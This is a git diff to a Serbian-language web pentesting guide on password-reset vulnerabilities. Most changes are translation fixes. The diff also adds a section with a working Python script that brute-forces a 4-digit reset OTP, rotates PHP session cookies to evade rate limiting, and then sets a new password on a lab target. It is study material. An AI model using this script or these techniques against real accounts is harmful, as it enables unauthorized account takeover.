diff --git a/src/pentesting-web/reset-password.md b/src/pentesting-web/reset-password.md index afdba353b..2919ede98 100644 --- a/src/pentesting-web/reset-password.md +++ b/src/pentesting-web/reset-password.md @@ -2,11 +2,11 @@ {{#include ../banners/hacktricks-training.md}} -## **Curčenje Tokena za Resetovanje Lozinke Putem Referrer-a** +## **Curčenje Tokena za Resetovanje Lozinke Putem Referrera** -- HTTP referer header može curiti token za resetovanje lozinke ako je uključen u URL. Ovo se može desiti kada korisnik klikne na link treće strane nakon što zatraži resetovanje lozinke. +- HTTP referer header može curiti token za resetovanje lozinke ako je uključen u URL. To se može desiti kada korisnik klikne na link treće strane nakon što zatraži resetovanje lozinke. - **Uticaj**: Potencijalno preuzimanje naloga putem Cross-Site Request Forgery (CSRF) napada. -- **Eksploatacija**: Da biste proverili da li token za resetovanje lozinke curi u referer header-u, **zatražite resetovanje lozinke** na vašu email adresu i **kliknite na link za resetovanje** koji je dostavljen. **Ne menjajte svoju lozinku** odmah. Umesto toga, **navigirajte na sajt treće strane** (kao što su Facebook ili Twitter) dok **presrećete zahteve koristeći Burp Suite**. Istražite zahteve da vidite da li **referer header sadrži token za resetovanje lozinke**, jer ovo može izložiti osetljive informacije trećim stranama. +- **Eksploatacija**: Da biste proverili da li token za resetovanje lozinke curi u referer header-u, **zatražite resetovanje lozinke** na vašu email adresu i **kliknite na link za resetovanje** koji je dostavljen. **Ne menjajte svoju lozinku** odmah. Umesto toga, **navigirajte na veb sajt treće strane** (kao što su Facebook ili Twitter) dok **presrećete zahteve koristeći Burp Suite**. Istražite zahteve da vidite da li **referer header sadrži token za resetovanje lozinke**, jer to može izložiti osetljive informacije trećim stranama. - **Reference**: - [HackerOne Report 342693](https://hackerone.com/reports/342693) - [HackerOne Report 272379](https://hackerone.com/reports/272379) @@ -14,18 +14,18 @@ ## **Trovanje Resetovanja Lozinke** -- Napadači mogu manipulisati Host header-om tokom zahteva za resetovanje lozinke kako bi usmerili link za resetovanje na zloćudni sajt. +- Napadači mogu manipulisati Host header-om tokom zahteva za resetovanje lozinke kako bi usmerili link za resetovanje na zlonamerni sajt. - **Uticaj**: Dovodi do potencijalnog preuzimanja naloga curenjem reset tokena napadačima. - **Koraci za ublažavanje**: -- Validirati Host header u odnosu na belu listu dozvoljenih domena. -- Koristiti sigurne, server-side metode za generisanje apsolutnih URL-ova. -- **Zakrpiti**: Koristiti `$_SERVER['SERVER_NAME']` za konstrukciju URL-ova za resetovanje lozinke umesto `$_SERVER['HTTP_HOST']`. +- Validirajte Host header u odnosu na belu listu dozvoljenih domena. +- Koristite sigurne, server-side metode za generisanje apsolutnih URL-ova. +- **Zakrpiti**: Koristite `$_SERVER['SERVER_NAME']` za konstrukciju URL-ova za resetovanje lozinke umesto `$_SERVER['HTTP_HOST']`. - **Reference**: - [Acunetix Članak o Trovanju Resetovanja Lozinke](https://www.acunetix.com/blog/articles/password-reset-poisoning/) ## **Resetovanje Lozinke Manipulacijom Email Parametra** -Napadači mogu manipulirati zahtevom za resetovanje lozinke dodavanjem dodatnih email parametara kako bi skrenuli link za resetovanje. +Napadači mogu manipulisati zahtevom za resetovanje lozinke dodavanjem dodatnih email parametara kako bi skrenuli link za resetovanje. - Dodajte email napadača kao drugi parametar koristeći & ```php @@ -77,9 +77,9 @@ POST /resetPassword - [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/) - [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872) -## **Menjanje email-a i lozinke bilo kog korisnika putem API parametara** +## **Promena email-a i lozinke bilo kog korisnika putem API parametara** -- Napadači mogu modifikovati email i lozinku parametre u API zahtevima kako bi promenili akreditive naloga. +- Napadači mogu modifikovati email i lozinku u API zahtevima kako bi promenili akreditive naloga. ```php POST /api/changepass [...] @@ -89,23 +89,23 @@ POST /api/changepass - Osigurati strogu validaciju parametara i provere autentifikacije. - Implementirati robusno logovanje i praćenje kako bi se otkrile i reagovalo na sumnjive aktivnosti. - **Reference**: -- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240) +- [Potpuno preuzimanje naloga putem manipulacije API parametrima](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240) ## **Nema ograničenja brzine: Email bombardovanje** -- Nedostatak ograničenja brzine na zahtevima za resetovanje lozinke može dovesti do bombardovanja email-ova, preplavljujući korisnika reset email-ovima. +- Nedostatak ograničenja brzine na zahtevima za resetovanje lozinke može dovesti do bombardovanja korisnika reset emailovima. - **Koraci za ublažavanje**: - Implementirati ograničenje brzine na osnovu IP adrese ili korisničkog naloga. - Koristiti CAPTCHA izazove kako bi se sprečila automatska zloupotreba. - **Reference**: -- [HackerOne Report 280534](https://hackerone.com/reports/280534) +- [HackerOne izveštaj 280534](https://hackerone.com/reports/280534) ## **Saznajte kako se generiše token za resetovanje lozinke** - Razumevanje obrasca ili metode iza generacije tokena može dovesti do predviđanja ili brute-forcing tokena. Neke opcije: - Na osnovu vremenskog pečata -- Na osnovu UserID-a -- Na osnovu email-a korisnika +- Na osnovu UserID +- Na osnovu emaila korisnika - Na osnovu imena i prezimena - Na osnovu datuma rođenja - Na osnovu kriptografije @@ -116,47 +116,47 @@ POST /api/changepass ## **Pogodna UUID** -- Ako su UUID-ovi (verzija 1) pogodivi ili predvidivi, napadači mogu da ih brute-force-uju kako bi generisali važeće reset tokene. Proverite: +- Ako su UUID-ovi (verzija 1) pogodivi ili predvidivi, napadači ih mogu brute-force-ovati kako bi generisali važeće reset tokene. Proverite: {{#ref}} uuid-insecurities.md {{#endref}} - **Koraci za ublažavanje**: -- Koristiti GUID verziju 4 za nasumičnost ili implementirati dodatne bezbednosne mere za druge verzije. +- Koristiti GUID verziju 4 za nasumičnost ili implementirati dodatne sigurnosne mere za druge verzije. - **Alati**: Koristiti [guidtool](https://github.com/intruder-io/guidtool) za analizu i generisanje GUID-ova. -## **Manipulacija odgovorom: Zamenite loš odgovor dobrim** +## **Manipulacija odgovorom: Zamena lošeg odgovora dobrim** - Manipulacija HTTP odgovorima kako bi se zaobišle poruke o grešci ili ograničenja. - **Koraci za ublažavanje**: - Implementirati provere na serverskoj strani kako bi se osigurala integritet odgovora. - Koristiti sigurne komunikacione kanale kao što je HTTPS kako bi se sprečili napadi "man-in-the-middle". - **Reference**: -- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3) +- [Kritična greška u Live Bug Bounty događaju](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3) ## **Korišćenje istekao tokena** -- Testiranje da li se istekao token i dalje može koristiti za resetovanje lozinke. +- Testiranje da li se istekao token još uvek može koristiti za resetovanje lozinke. - **Koraci za ublažavanje**: -- Implementirati stroge politike isteka tokena i validirati isteak tokena na serverskoj strani. +- Implementirati stroge politike isteka tokena i validirati istekao token na serverskoj strani. ## **Brute Force token za resetovanje lozinke** -- Pokušaj brute-force-a reset tokena koristeći alate kao što su Burpsuite i IP-Rotator kako bi se zaobišla ograničenja brzine zasnovana na IP-u. +- Pokušaj brute-force-a reset tokena koristeći alate kao što su Burpsuite i IP-Rotator kako bi se zaobišla IP-bazirana ograničenja brzine. - **Koraci za ublažavanje**: - Implementirati robusno ograničenje brzine i mehanizme zaključavanja naloga. - Pratiti sumnjive aktivnosti koje ukazuju na brute-force napade. ## **Pokušajte koristiti svoj token** -- Testiranje da li se napadačev reset token može koristiti u kombinaciji sa email-om žrtve. +- Testiranje da li se napadačev reset token može koristiti u kombinaciji sa emailom žrtve. - **Koraci za ublažavanje**: - Osigurati da su tokeni vezani za korisničku sesiju ili druge korisničke atribute. ## **Nevaženje sesije prilikom odjave/resetovanja lozinke** -- Osigurati da se sesije nevaže kada se korisnik odjavi ili resetuje svoju lozinku. +- Osigurati da se sesije nevaže kada se korisnik odjavi ili resetuje lozinku. - **Koraci za ublažavanje**: - Implementirati pravilno upravljanje sesijama, osiguravajući da se sve sesije nevaže prilikom odjave ili resetovanja lozinke. @@ -166,6 +166,70 @@ uuid-insecurities.md - **Koraci za ublažavanje**: - Postaviti razumno vreme isteka za reset tokene i strogo ga sprovoditi na serverskoj strani. +## **Zaobilaženje ograničenja brzine OTP-a promenom sesije** + +- Ako veb sajt koristi korisničku sesiju za praćenje pogrešnih OTP pokušaja i OTP je slab (<= 4 cifre), onda možemo efikasno brute-force-ovati OTP. +- **eksploatacija**: +- samo zatražite novi token sesije nakon što vas server blokira. +- **Primer** koda koji eksploatiše ovu grešku nasumičnim pogađanjem OTP-a (kada promenite sesiju, OTP će se takođe promeniti, i tako nećemo moći sekvencijalno da ga brute-force-ujemo!): + +``` python +# Zaobilaženje autentifikacije putem resetovanja lozinke +# od coderMohammed +import requests +import random +from time import sleep + +headers = { +"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1", +"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea" +} +url = "http://10.10.12.231:1337/reset_password.php" +logout = "http://10.10.12.231:1337/logout.php" +root = "http://10.10.12.231:1337/" + +parms = dict() +ter = 0 +phpsessid = "" + +print("[+] Počinjem napad!") +sleep(3) +print("[+] Ovo može potrajati oko 5 minuta da se završi!") + +try: +while True: +parms["recovery_code"] = f"{random.randint(0, 9999):04}" # nasumičan broj od 0 - 9999 sa 4 cifre +parms["s"] = 164 # nije važno, samo utiče na frontend +res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers) + +if ter == 8: # pratiti broj pokušaja +out = requests.get(logout,headers=headers) # odjavljuje vas +mainp = requests.get(root) # dobija još jedan phpssid (token) + +cookies = out.cookies # ekstraktuje sessionid +phpsessid = cookies.get('PHPSESSID') +headers["cookies"]=f"PHPSESSID={phpsessid}" # ažurira zaglavlja sa novom sesijom + +reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # šalje email za promenu lozinke +ter = 0 # resetuje ter da dobijemo novu sesiju nakon 8 pokušaja +else: +ter += 1 +if(len(res.text) == 2292): # ovo je dužina stranice kada ispravno dobijete kod za oporavak (dobijeno testiranjem) +print(len(res.text)) # za debug informacije +print(phpsessid) + +reset_data = { # ovde ćemo promeniti lozinku na nešto novo +"new_password": "D37djkamd!", +"confirm_password": "D37djkamd!" +} +reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers) + +print("[+] Lozinka je promenjena na:D37djkamd!") +break +except Exception as e: +print("[+] Napad je zaustavljen") +``` + ## Reference - [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)